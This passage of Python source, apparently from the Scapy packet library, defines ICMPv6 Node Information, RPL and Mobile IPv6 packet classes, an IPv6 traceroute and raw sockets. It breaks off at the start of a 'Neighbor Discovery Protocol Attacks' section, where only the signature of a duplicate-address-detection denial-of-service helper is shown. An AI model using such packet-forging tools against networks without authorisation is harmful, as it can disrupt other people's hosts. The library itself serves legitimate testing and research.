single component x = x[1:] continue if tmp_len & 0xc0: # XXX TODO : work on that -- arno raise Exception("DNS message can't be compressed at this point!") cur += x[:tmp_len] + b"." x = x[tmp_len:] return res class NIQueryDataField(StrField): def __init__(self, name, default): StrField.__init__(self, name, default) def i2h(self, pkt, x): if x is None: return x t, val = x if t == 1: val = dnsrepr2names(val)[0] return val def h2i(self, pkt, x): if x is tuple and isinstance(x[0], int): return x # Try IPv6 try: inet_pton(socket.AF_INET6, x.decode()) return (0, x.decode()) except Exception: pass # Try IPv4 try: inet_pton(socket.AF_INET, x.decode()) return (2, x.decode()) except Exception: pass # Try DNS if x is None: x = b"" x = names2dnsrepr(x) return (1, x) def i2repr(self, pkt, x): t, val = x if t == 1: # DNS Name # we don't use dnsrepr2names() to deal with # possible weird data extracted info res = [] while val: tmp_len = orb(val[0]) val = val[1:] if tmp_len == 0: break res.append(plain_str(val[:tmp_len]) + ".") val = val[tmp_len:] tmp = "".join(res) if tmp and tmp[-1] == '.': tmp = tmp[:-1] return tmp return repr(val) def getfield(self, pkt, s): qtype = getattr(pkt, "qtype") if qtype == 0: # NOOP return s, (0, b"") else: code = getattr(pkt, "code") if code == 0: # IPv6 Addr return s[16:], (0, inet_ntop(socket.AF_INET6, s[:16])) elif code == 2: # IPv4 Addr return s[4:], (2, inet_ntop(socket.AF_INET, s[:4])) else: # Name or Unknown return b"", (1, s) def addfield(self, pkt, s, val): if ((isinstance(val, tuple) and val[1] is None) or val is None): val = (1, b"") t = val[0] if t == 1: return s + val[1] elif t == 0: return s + inet_pton(socket.AF_INET6, val[1]) else: return s + inet_pton(socket.AF_INET, val[1]) class NIQueryCodeField(ByteEnumField): def i2m(self, pkt, x): if x is None: d = pkt.getfieldval("data") if d is None: return 1 elif d[0] == 0: # IPv6 address return 0 elif d[0] == 1: # Name return 1 elif d[0] == 2: # IPv4 address return 2 else: return 1 return x _niquery_code = {0: "IPv6 Query", 1: "Name Query", 2: "IPv4 Query"} # _niquery_flags = { 2: "All unicast addresses", 4: "IPv4 addresses", # 8: "Link-local addresses", 16: "Site-local addresses", # 32: "Global addresses" } # "This NI type has no defined flags and never has a Data Field". Used # to know if the destination is up and implements NI protocol. class ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6): name = "ICMPv6 Node Information Query - NOOP Query" fields_desc = [ByteEnumField("type", 139, icmp6types), NIQueryCodeField("code", None, _niquery_code), XShortField("cksum", None), ShortEnumField("qtype", 0, icmp6_niqtypes), BitField("unused", 0, 10), FlagsField("flags", 0, 6, "TACLSG"), NonceField("nonce", None), NIQueryDataField("data", None)] class ICMPv6NIQueryName(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv6 Name Query" qtype = 2 # We ask for the IPv6 address of the peer class ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv6 Address Query" qtype = 3 flags = 0x3E class ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv4 Address Query" qtype = 4 _nireply_code = {0: "Successful Reply", 1: "Response Refusal", 3: "Unknown query type"} _nireply_flags = {1: "Reply set incomplete", 2: "All unicast addresses", 4: "IPv4 addresses", 8: "Link-local addresses", 16: "Site-local addresses", 32: "Global addresses"} # Internal repr is one of those : # (0, "some string") : unknown qtype value are mapped to that one # (3, [ (ttl, ip6), ... ]) # (4, [ (ttl, ip4), ... ]) # (2, [ttl, dns_names]) : dns_names is one string that contains # all the DNS names. Internally it is kept ready to be sent # (undissected). i2repr() decode it for user. This is to # make build after dissection bijective. # # I also merged getfield() and m2i(), and addfield() and i2m(). class NIReplyDataField(StrField): def i2h(self, pkt, x): if x is None: return x t, val = x if t == 2: ttl, dnsnames = val val = [ttl] + dnsrepr2names(dnsnames) return val def h2i(self, pkt, x): qtype = 0 # We will decode it as string if not # overridden through 'qtype' in pkt # No user hint, let's use 'qtype' value for that purpose if not isinstance(x, tuple): if pkt is not None: qtype = pkt.qtype else: qtype = x[0] x = x[1] # From that point on, x is the value (second element of the tuple) if qtype == 2: # DNS name if isinstance(x, (str, bytes)): # listify the string x = [x] if isinstance(x, list): x = [val.encode() if isinstance(val, str) else val for val in x] # noqa: E501 if x and isinstance(x[0], six.integer_types): ttl = x[0] names = x[1:] else: ttl = 0 names = x return (2, [ttl, names2dnsrepr(names)]) elif qtype in [3, 4]: # IPv4 or IPv6 addr if not isinstance(x, list): x = [x] # User directly provided an IP, instead of list def fixvalue(x): # List elements are not tuples, user probably # omitted ttl value : we will use 0 instead if not isinstance(x, tuple): x = (0, x) # Decode bytes if six.PY3 and isinstance(x[1], bytes): x = (x[0], x[1].decode()) return x return (qtype, [fixvalue(d) for d in x]) return (qtype, x) def addfield(self, pkt, s, val): t, tmp = val if tmp is None: tmp = b"" if t == 2: ttl, dnsstr = tmp return s + struct.pack("!I", ttl) + dnsstr elif t == 3: return s + b"".join(map(lambda x_y1: struct.pack("!I", x_y1[0]) + inet_pton(socket.AF_INET6, x_y1[1]), tmp)) # noqa: E501 elif t == 4: return s + b"".join(map(lambda x_y2: struct.pack("!I", x_y2[0]) + inet_pton(socket.AF_INET, x_y2[1]), tmp)) # noqa: E501 else: return s + tmp def getfield(self, pkt, s): code = getattr(pkt, "code") if code != 0: return s, (0, b"") qtype = getattr(pkt, "qtype") if qtype == 0: # NOOP return s, (0, b"") elif qtype == 2: if len(s) < 4: return s, (0, b"") ttl = struct.unpack("!I", s[:4])[0] return b"", (2, [ttl, s[4:]]) elif qtype == 3: # IPv6 addresses with TTLs # XXX TODO : get the real length res = [] while len(s) >= 20: # 4 + 16 ttl = struct.unpack("!I", s[:4])[0] ip = inet_ntop(socket.AF_INET6, s[4:20]) res.append((ttl, ip)) s = s[20:] return s, (3, res) elif qtype == 4: # IPv4 addresses with TTLs # XXX TODO : get the real length res = [] while len(s) >= 8: # 4 + 4 ttl = struct.unpack("!I", s[:4])[0] ip = inet_ntop(socket.AF_INET, s[4:8]) res.append((ttl, ip)) s = s[8:] return s, (4, res) else: # XXX TODO : implement me and deal with real length return b"", (0, s) def i2repr(self, pkt, x): if x is None: return "[]" if isinstance(x, tuple) and len(x) == 2: t, val = x if t == 2: # DNS names ttl, tmp_len = val tmp_len = dnsrepr2names(tmp_len) names_list = (plain_str(name) for name in tmp_len) return "ttl:%d %s" % (ttl, ",".join(names_list)) elif t == 3 or t == 4: return "[ %s ]" % (", ".join(map(lambda x_y: "(%d, %s)" % (x_y[0], x_y[1]), val))) # noqa: E501 return repr(val) return repr(x) # XXX should not happen # By default, sent responses have code set to 0 (successful) class ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6): name = "ICMPv6 Node Information Reply - NOOP Reply" fields_desc = [ByteEnumField("type", 140, icmp6types), ByteEnumField("code", 0, _nireply_code), XShortField("cksum", None), ShortEnumField("qtype", 0, icmp6_niqtypes), BitField("unused", 0, 10), FlagsField("flags", 0, 6, "TACLSG"), NonceField("nonce", None), NIReplyDataField("data", None)] class ICMPv6NIReplyName(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Node Names" qtype = 2 class ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - IPv6 addresses" qtype = 3 class ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - IPv4 addresses" qtype = 4 class ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Responder refuses to supply answer" code = 1 class ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Qtype unknown to the responder" code = 2 def _niquery_guesser(p): cls = conf.raw_layer type = orb(p[0]) if type == 139: # Node Info Query specific stuff if len(p) > 6: qtype, = struct.unpack("!H", p[4:6]) cls = {0: ICMPv6NIQueryNOOP, 2: ICMPv6NIQueryName, 3: ICMPv6NIQueryIPv6, 4: ICMPv6NIQueryIPv4}.get(qtype, conf.raw_layer) elif type == 140: # Node Info Reply specific stuff code = orb(p[1]) if code == 0: if len(p) > 6: qtype, = struct.unpack("!H", p[4:6]) cls = {2: ICMPv6NIReplyName, 3: ICMPv6NIReplyIPv6, 4: ICMPv6NIReplyIPv4}.get(qtype, ICMPv6NIReplyNOOP) elif code == 1: cls = ICMPv6NIReplyRefuse elif code == 2: cls = ICMPv6NIReplyUnknown return cls ############################################################################# ############################################################################# # Routing Protocol for Low Power and Lossy Networks RPL (RFC 6550) # ############################################################################# ############################################################################# # https://www.iana.org/assignments/rpl/rpl.xhtml#control-codes rplcodes = {0: "DIS", 1: "DIO", 2: "DAO", 3: "DAO-ACK", # 4: "P2P-DRO", # 5: "P2P-DRO-ACK", # 6: "Measurement", 7: "DCO", 8: "DCO-ACK"} class ICMPv6RPL(_ICMPv6): # RFC 6550 name = 'RPL' fields_desc = [ByteEnumField("type", 155, icmp6types), ByteEnumField("code", 0, rplcodes), XShortField("cksum", None)] overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1a"}} ############################################################################# ############################################################################# # Mobile IPv6 (RFC 3775) and Nemo (RFC 3963) # ############################################################################# ############################################################################# # Mobile IPv6 ICMPv6 related classes class ICMPv6HAADRequest(_ICMPv6): name = 'ICMPv6 Home Agent Address Discovery Request' fields_desc = [ByteEnumField("type", 144, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("R", 1, 1, {1: 'MR'}), XBitField("res", 0, 15)] def hashret(self): return struct.pack("!H", self.id) + self.payload.hashret() class ICMPv6HAADReply(_ICMPv6): name = 'ICMPv6 Home Agent Address Discovery Reply' fields_desc = [ByteEnumField("type", 145, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("R", 1, 1, {1: 'MR'}), XBitField("res", 0, 15), IP6ListField('addresses', None)] def hashret(self): return struct.pack("!H", self.id) + self.payload.hashret() def answers(self, other): if not isinstance(other, ICMPv6HAADRequest): return 0 return self.id == other.id class ICMPv6MPSol(_ICMPv6): name = 'ICMPv6 Mobile Prefix Solicitation' fields_desc = [ByteEnumField("type", 146, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), XShortField("res", 0)] def _hashret(self): return struct.pack("!H", self.id) class ICMPv6MPAdv(_ICMPv6NDGuessPayload, _ICMPv6): name = 'ICMPv6 Mobile Prefix Advertisement' fields_desc = [ByteEnumField("type", 147, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("flags", 2, 2, {2: 'M', 1: 'O'}), XBitField("res", 0, 14)] def hashret(self): return struct.pack("!H", self.id) def answers(self, other): return isinstance(other, ICMPv6MPSol) # Mobile IPv6 Options classes _mobopttypes = {2: "Binding Refresh Advice", 3: "Alternate Care-of Address", 4: "Nonce Indices", 5: "Binding Authorization Data", 6: "Mobile Network Prefix (RFC3963)", 7: "Link-Layer Address (RFC4068)", 8: "Mobile Node Identifier (RFC4283)", 9: "Mobility Message Authentication (RFC4285)", 10: "Replay Protection (RFC4285)", 11: "CGA Parameters Request (RFC4866)", 12: "CGA Parameters (RFC4866)", 13: "Signature (RFC4866)", 14: "Home Keygen Token (RFC4866)", 15: "Care-of Test Init (RFC4866)", 16: "Care-of Test (RFC4866)"} class _MIP6OptAlign(Packet): """ Mobile IPv6 options have alignment requirements of the form x*n+y. This class is inherited by all MIPv6 options to help in computing the required Padding for that option, i.e. the need for a Pad1 or PadN option before it. They only need to provide x and y as class parameters. (x=0 and y=0 are used when no alignment is required)""" __slots__ = ["x", "y"] def alignment_delta(self, curpos): x = self.x y = self.y if x == 0 and y == 0: return 0 delta = x * ((curpos - y + x - 1) // x) + y - curpos return delta def extract_padding(self, p): return b"", p class MIP6OptBRAdvice(_MIP6OptAlign): name = 'Mobile IPv6 Option - Binding Refresh Advice' fields_desc = [ByteEnumField('otype', 2, _mobopttypes), ByteField('olen', 2), ShortField('rinter', 0)] x = 2 y = 0 # alignment requirement: 2n class MIP6OptAltCoA(_MIP6OptAlign): name = 'MIPv6 Option - Alternate Care-of Address' fields_desc = [ByteEnumField('otype', 3, _mobopttypes), ByteField('olen', 16), IP6Field("acoa", "::")] x = 8 y = 6 # alignment requirement: 8n+6 class MIP6OptNonceIndices(_MIP6OptAlign): name = 'MIPv6 Option - Nonce Indices' fields_desc = [ByteEnumField('otype', 4, _mobopttypes), ByteField('olen', 16), ShortField('hni', 0), ShortField('coni', 0)] x = 2 y = 0 # alignment requirement: 2n class MIP6OptBindingAuthData(_MIP6OptAlign): name = 'MIPv6 Option - Binding Authorization Data' fields_desc = [ByteEnumField('otype', 5, _mobopttypes), ByteField('olen', 16), BitField('authenticator', 0, 96)] x = 8 y = 2 # alignment requirement: 8n+2 class MIP6OptMobNetPrefix(_MIP6OptAlign): # NEMO - RFC 3963 name = 'NEMO Option - Mobile Network Prefix' fields_desc = [ByteEnumField("otype", 6, _mobopttypes), ByteField("olen", 18), ByteField("reserved", 0), ByteField("plen", 64), IP6Field("prefix", "::")] x = 8 y = 4 # alignment requirement: 8n+4 class MIP6OptLLAddr(_MIP6OptAlign): # Sect 6.4.4 of RFC 4068 name = "MIPv6 Option - Link-Layer Address (MH-LLA)" fields_desc = [ByteEnumField("otype", 7, _mobopttypes), ByteField("olen", 7), ByteEnumField("ocode", 2, _rfc4068_lla_optcode), ByteField("pad", 0), MACField("lla", ETHER_ANY)] # Only support ethernet x = 0 y = 0 # alignment requirement: none class MIP6OptMNID(_MIP6OptAlign): # RFC 4283 name = "MIPv6 Option - Mobile Node Identifier" fields_desc = [ByteEnumField("otype", 8, _mobopttypes), FieldLenField("olen", None, length_of="id", fmt="B", adjust=lambda pkt, x: x + 1), ByteEnumField("subtype", 1, {1: "NAI"}), StrLenField("id", "", length_from=lambda pkt: pkt.olen - 1)] x = 0 y = 0 # alignment requirement: none # We only support decoding and basic build. Automatic HMAC computation is # too much work for our current needs. It is left to the user (I mean ... # you). --arno class MIP6OptMsgAuth(_MIP6OptAlign): # RFC 4285 (Sect. 5) name = "MIPv6 Option - Mobility Message Authentication" fields_desc = [ByteEnumField("otype", 9, _mobopttypes), FieldLenField("olen", None, length_of="authdata", fmt="B", adjust=lambda pkt, x: x + 5), ByteEnumField("subtype", 1, {1: "MN-HA authentication mobility option", # noqa: E501 2: "MN-AAA authentication mobility option"}), # noqa: E501 IntField("mspi", None), StrLenField("authdata", "A" * 12, length_from=lambda pkt: pkt.olen - 5)] x = 4 y = 1 # alignment requirement: 4n+1 # Extracted from RFC 1305 (NTP) : # NTP timestamps are represented as a 64-bit unsigned fixed-point number, # in seconds relative to 0h on 1 January 1900. The integer part is in the # first 32 bits and the fraction part in the last 32 bits. class NTPTimestampField(LongField): def i2repr(self, pkt, x): if x < ((50 * 31536000) << 32): return "Some date a few decades ago (%d)" % x # delta from epoch (= (1900, 1, 1, 0, 0, 0, 5, 1, 0)) to # January 1st 1970 : delta = -2209075761 i = int(x >> 32) j = float(x & 0xffffffff) * 2.0**-32 res = i + j + delta t = strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime(res)) return "%s (%d)" % (t, x) class MIP6OptReplayProtection(_MIP6OptAlign): # RFC 4285 (Sect. 6) name = "MIPv6 option - Replay Protection" fields_desc = [ByteEnumField("otype", 10, _mobopttypes), ByteField("olen", 8), NTPTimestampField("timestamp", 0)] x = 8 y = 2 # alignment requirement: 8n+2 class MIP6OptCGAParamsReq(_MIP6OptAlign): # RFC 4866 (Sect. 5.6) name = "MIPv6 option - CGA Parameters Request" fields_desc = [ByteEnumField("otype", 11, _mobopttypes), ByteField("olen", 0)] x = 0 y = 0 # alignment requirement: none # XXX TODO: deal with CGA param fragmentation and build of defragmented # XXX version. Passing of a big CGAParam structure should be # XXX simplified. Make it hold packets, by the way --arno class MIP6OptCGAParams(_MIP6OptAlign): # RFC 4866 (Sect. 5.1) name = "MIPv6 option - CGA Parameters" fields_desc = [ByteEnumField("otype", 12, _mobopttypes), FieldLenField("olen", None, length_of="cgaparams", fmt="B"), StrLenField("cgaparams", "", length_from=lambda pkt: pkt.olen)] x = 0 y = 0 # alignment requirement: none class MIP6OptSignature(_MIP6OptAlign): # RFC 4866 (Sect. 5.2) name = "MIPv6 option - Signature" fields_desc = [ByteEnumField("otype", 13, _mobopttypes), FieldLenField("olen", None, length_of="sig", fmt="B"), StrLenField("sig", "", length_from=lambda pkt: pkt.olen)] x = 0 y = 0 # alignment requirement: none class MIP6OptHomeKeygenToken(_MIP6OptAlign): # RFC 4866 (Sect. 5.3) name = "MIPv6 option - Home Keygen Token" fields_desc = [ByteEnumField("otype", 14, _mobopttypes), FieldLenField("olen", None, length_of="hkt", fmt="B"), StrLenField("hkt", "", length_from=lambda pkt: pkt.olen)] x = 0 y = 0 # alignment requirement: none class MIP6OptCareOfTestInit(_MIP6OptAlign): # RFC 4866 (Sect. 5.4) name = "MIPv6 option - Care-of Test Init" fields_desc = [ByteEnumField("otype", 15, _mobopttypes), ByteField("olen", 0)] x = 0 y = 0 # alignment requirement: none class MIP6OptCareOfTest(_MIP6OptAlign): # RFC 4866 (Sect. 5.5) name = "MIPv6 option - Care-of Test" fields_desc = [ByteEnumField("otype", 16, _mobopttypes), FieldLenField("olen", None, length_of="cokt", fmt="B"), StrLenField("cokt", b'\x00' * 8, length_from=lambda pkt: pkt.olen)] x = 0 y = 0 # alignment requirement: none class MIP6OptUnknown(_MIP6OptAlign): name = 'Scapy6 - Unknown Mobility Option' fields_desc = [ByteEnumField("otype", 6, _mobopttypes), FieldLenField("olen", None, length_of="odata", fmt="B"), StrLenField("odata", "", length_from=lambda pkt: pkt.olen)] x = 0 y = 0 # alignment requirement: none @classmethod def dispatch_hook(cls, _pkt=None, *_, **kargs): if _pkt: o = orb(_pkt[0]) # Option type if o in moboptcls: return moboptcls[o] return cls moboptcls = {0: Pad1, 1: PadN, 2: MIP6OptBRAdvice, 3: MIP6OptAltCoA, 4: MIP6OptNonceIndices, 5: MIP6OptBindingAuthData, 6: MIP6OptMobNetPrefix, 7: MIP6OptLLAddr, 8: MIP6OptMNID, 9: MIP6OptMsgAuth, 10: MIP6OptReplayProtection, 11: MIP6OptCGAParamsReq, 12: MIP6OptCGAParams, 13: MIP6OptSignature, 14: MIP6OptHomeKeygenToken, 15: MIP6OptCareOfTestInit, 16: MIP6OptCareOfTest} # Main Mobile IPv6 Classes mhtypes = {0: 'BRR', 1: 'HoTI', 2: 'CoTI', 3: 'HoT', 4: 'CoT', 5: 'BU', 6: 'BA', 7: 'BE', 8: 'Fast BU', 9: 'Fast BA', 10: 'Fast NA'} # From http://www.iana.org/assignments/mobility-parameters bastatus = {0: 'Binding Update accepted', 1: 'Accepted but prefix discovery necessary', 128: 'Reason unspecified', 129: 'Administratively prohibited', 130: 'Insufficient resources', 131: 'Home registration not supported', 132: 'Not home subnet', 133: 'Not home agent for this mobile node', 134: 'Duplicate Address Detection failed', 135: 'Sequence number out of window', 136: 'Expired home nonce index', 137: 'Expired care-of nonce index', 138: 'Expired nonces', 139: 'Registration type change disallowed', 140: 'Mobile Router Operation not permitted', 141: 'Invalid Prefix', 142: 'Not Authorized for Prefix', 143: 'Forwarding Setup failed (prefixes missing)', 144: 'MIPV6-ID-MISMATCH', 145: 'MIPV6-MESG-ID-REQD', 146: 'MIPV6-AUTH-FAIL', 147: 'Permanent home keygen token unavailable', 148: 'CGA and signature verification failed', 149: 'Permanent home keygen token exists', 150: 'Non-null home nonce index expected'} class _MobilityHeader(Packet): name = 'Dummy IPv6 Mobility Header' overload_fields = {IPv6: {"nh": 135}} def post_build(self, p, pay): p += pay tmp_len = self.len if self.len is None: tmp_len = (len(p) - 8) // 8 p = p[:1] + struct.pack("B", tmp_len) + p[2:] if self.cksum is None: cksum = in6_chksum(135, self.underlayer, p) else: cksum = self.cksum p = p[:4] + struct.pack("!H", cksum) + p[6:] return p class MIP6MH_Generic(_MobilityHeader): # Mainly for decoding of unknown msg name = "IPv6 Mobility Header - Generic Message" fields_desc = [ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", None, mhtypes), ByteField("res", None), XShortField("cksum", None), StrLenField("msg", b"\x00" * 2, length_from=lambda pkt: 8 * pkt.len - 6)] class MIP6MH_BRR(_MobilityHeader): name = "IPv6 Mobility Header - Binding Refresh Request" fields_desc = [ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 0, mhtypes), ByteField("res", None), XShortField("cksum", None), ShortField("res2", None), _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 _OptionsField("options", [], MIP6OptUnknown, 8, length_from=lambda pkt: 8 * pkt.len)] overload_fields = {IPv6: {"nh": 135}} def hashret(self): # Hack: BRR, BU and BA have the same hashret that returns the same # value b"\x00\x08\x09" (concatenation of mhtypes). This is # because we need match BA with BU and BU with BRR. --arno return b"\x00\x08\x09" class MIP6MH_HoTI(_MobilityHeader): name = "IPv6 Mobility Header - Home Test Init" fields_desc = [ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 1, mhtypes), ByteField("res", None), XShortField("cksum", None), StrFixedLenField("reserved", b"\x00" * 2, 2), StrFixedLenField("cookie", b"\x00" * 8, 8), _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 _OptionsField("options", [], MIP6OptUnknown, 16, length_from=lambda pkt: 8 * (pkt.len - 1))] overload_fields = {IPv6: {"nh": 135}} def hashret(self): return bytes_encode(self.cookie) class MIP6MH_CoTI(MIP6MH_HoTI): name = "IPv6 Mobility Header - Care-of Test Init" mhtype = 2 def hashret(self): return bytes_encode(self.cookie) class MIP6MH_HoT(_MobilityHeader): name = "IPv6 Mobility Header - Home Test" fields_desc = [ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 3, mhtypes), ByteField("res", None), XShortField("cksum", None), ShortField("index", None), StrFixedLenField("cookie", b"\x00" * 8, 8), StrFixedLenField("token", b"\x00" * 8, 8), _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 _OptionsField("options", [], MIP6OptUnknown, 24, length_from=lambda pkt: 8 * (pkt.len - 2))] overload_fields = {IPv6: {"nh": 135}} def hashret(self): return bytes_encode(self.cookie) def answers(self, other): if (isinstance(other, MIP6MH_HoTI) and self.cookie == other.cookie): return 1 return 0 class MIP6MH_CoT(MIP6MH_HoT): name = "IPv6 Mobility Header - Care-of Test" mhtype = 4 def hashret(self): return bytes_encode(self.cookie) def answers(self, other): if (isinstance(other, MIP6MH_CoTI) and self.cookie == other.cookie): return 1 return 0 class LifetimeField(ShortField): def i2repr(self, pkt, x): return "%d sec" % (4 * x) class MIP6MH_BU(_MobilityHeader): name = "IPv6 Mobility Header - Binding Update" fields_desc = [ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501 ByteEnumField("mhtype", 5, mhtypes), ByteField("res", None), XShortField("cksum", None), XShortField("seq", None), # TODO: ShortNonceField FlagsField("flags", "KHA", 7, "PRMKLHA"), XBitField("reserved", 0, 9), LifetimeField("mhtime", 3), # unit == 4 seconds _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 _OptionsField("options", [], MIP6OptUnknown, 12, length_from=lambda pkt: 8 * pkt.len - 4)] overload_fields = {IPv6: {"nh": 135}} def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() return b"\x00\x08\x09" def answers(self, other): if isinstance(other, MIP6MH_BRR): return 1 return 0 class MIP6MH_BA(_MobilityHeader): name = "IPv6 Mobility Header - Binding ACK" fields_desc = [ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501 ByteEnumField("mhtype", 6, mhtypes), ByteField("res", None), XShortField("cksum", None), ByteEnumField("status", 0, bastatus), FlagsField("flags", "K", 3, "PRK"), XBitField("res2", None, 5), XShortField("seq", None), # TODO: ShortNonceField XShortField("mhtime", 0), # unit == 4 seconds _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 _OptionsField("options", [], MIP6OptUnknown, 12, length_from=lambda pkt: 8 * pkt.len - 4)] overload_fields = {IPv6: {"nh": 135}} def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() return b"\x00\x08\x09" def answers(self, other): if (isinstance(other, MIP6MH_BU) and other.mhtype == 5 and self.mhtype == 6 and other.flags & 0x1 and # Ack request flags is set self.seq == other.seq): return 1 return 0 _bestatus = {1: 'Unknown binding for Home Address destination option', 2: 'Unrecognized MH Type value'} # TODO: match Binding Error to its stimulus class MIP6MH_BE(_MobilityHeader): name = "IPv6 Mobility Header - Binding Error" fields_desc = [ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501 ByteEnumField("mhtype", 7, mhtypes), ByteField("res", 0), XShortField("cksum", None), ByteEnumField("status", 0, _bestatus), ByteField("reserved", 0), IP6Field("ha", "::"), _OptionsField("options", [], MIP6OptUnknown, 24, length_from=lambda pkt: 8 * (pkt.len - 2))] overload_fields = {IPv6: {"nh": 135}} _mip6_mhtype2cls = {0: MIP6MH_BRR, 1: MIP6MH_HoTI, 2: MIP6MH_CoTI, 3: MIP6MH_HoT, 4: MIP6MH_CoT, 5: MIP6MH_BU, 6: MIP6MH_BA, 7: MIP6MH_BE} ############################################################################# ############################################################################# # Traceroute6 # ############################################################################# ############################################################################# class AS_resolver6(AS_resolver_riswhois): def _resolve_one(self, ip): """ overloaded version to provide a Whois resolution on the embedded IPv4 address if the address is 6to4 or Teredo. Otherwise, the native IPv6 address is passed. """ if in6_isaddr6to4(ip): # for 6to4, use embedded @ tmp = inet_pton(socket.AF_INET6, ip) addr = inet_ntop(socket.AF_INET, tmp[2:6]) elif in6_isaddrTeredo(ip): # for Teredo, use mapped address addr = teredoAddrExtractInfo(ip)[2] else: addr = ip _, asn, desc = AS_resolver_riswhois._resolve_one(self, addr) if asn.startswith("AS"): try: asn = int(asn[2:]) except ValueError: pass return ip, asn, desc class TracerouteResult6(TracerouteResult): __slots__ = [] def show(self): return self.make_table(lambda s, r: (s.sprintf("%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}"), # TODO: ICMPv6 ! # noqa: E501 s.hlim, r.sprintf("%-42s,IPv6.src% {TCP:%TCP.flags%}" + # noqa: E501 "{ICMPv6DestUnreach:%ir,type%}{ICMPv6PacketTooBig:%ir,type%}" + # noqa: E501 "{ICMPv6TimeExceeded:%ir,type%}{ICMPv6ParamProblem:%ir,type%}" + # noqa: E501 "{ICMPv6EchoReply:%ir,type%}"))) # noqa: E501 def get_trace(self): trace = {} for s, r in self.res: if IPv6 not in s: continue d = s[IPv6].dst if d not in trace: trace[d] = {} t = not (ICMPv6TimeExceeded in r or ICMPv6DestUnreach in r or ICMPv6PacketTooBig in r or ICMPv6ParamProblem in r) trace[d][s[IPv6].hlim] = r[IPv6].src, t for k in six.itervalues(trace): try: m = min(x for x, y in six.iteritems(k) if y[1]) except ValueError: continue for li in list(k): # use list(): k is modified in the loop if li > m: del k[li] return trace def graph(self, ASres=AS_resolver6(), **kargs): TracerouteResult.graph(self, ASres=ASres, **kargs) @conf.commands.register def traceroute6(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), l4=None, timeout=2, verbose=None, **kargs): """Instant TCP traceroute using IPv6 traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None """ if verbose is None: verbose = conf.verb if l4 is None: a, b = sr(IPv6(dst=target, hlim=(minttl, maxttl)) / TCP(seq=RandInt(), sport=sport, dport=dport), # noqa: E501 timeout=timeout, filter="icmp6 or tcp", verbose=verbose, **kargs) # noqa: E501 else: a, b = sr(IPv6(dst=target, hlim=(minttl, maxttl)) / l4, timeout=timeout, verbose=verbose, **kargs) a = TracerouteResult6(a.res) if verbose: a.display() return a, b ############################################################################# ############################################################################# # Sockets # ############################################################################# ############################################################################# class L3RawSocket6(L3RawSocket): def __init__(self, type=ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0): # noqa: E501 L3RawSocket.__init__(self, type, filter, iface, promisc) # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292) # noqa: E501 self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # noqa: E501 self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) # noqa: E501 def IPv6inIP(dst='203.178.135.36', src=None): _IPv6inIP.dst = dst _IPv6inIP.src = src if not conf.L3socket == _IPv6inIP: _IPv6inIP.cls = conf.L3socket else: del(conf.L3socket) return _IPv6inIP class _IPv6inIP(SuperSocket): dst = '127.0.0.1' src = None cls = None def __init__(self, family=socket.AF_INET6, type=socket.SOCK_STREAM, proto=0, **args): # noqa: E501 SuperSocket.__init__(self, family, type, proto) self.worker = self.cls(**args) def set(self, dst, src=None): _IPv6inIP.src = src _IPv6inIP.dst = dst def nonblock_recv(self): p = self.worker.nonblock_recv() return self._recv(p) def recv(self, x): p = self.worker.recv(x) return self._recv(p, x) def _recv(self, p, x=MTU): if p is None: return p elif isinstance(p, IP): # TODO: verify checksum if p.src == self.dst and p.proto == socket.IPPROTO_IPV6: if isinstance(p.payload, IPv6): return p.payload return p def send(self, x): return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6) / x) # noqa: E501 ############################################################################# ############################################################################# # Neighbor Discovery Protocol Attacks # ############################################################################# ############################################################################# def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Internal generic helper accepting a specific callback as first argument, for 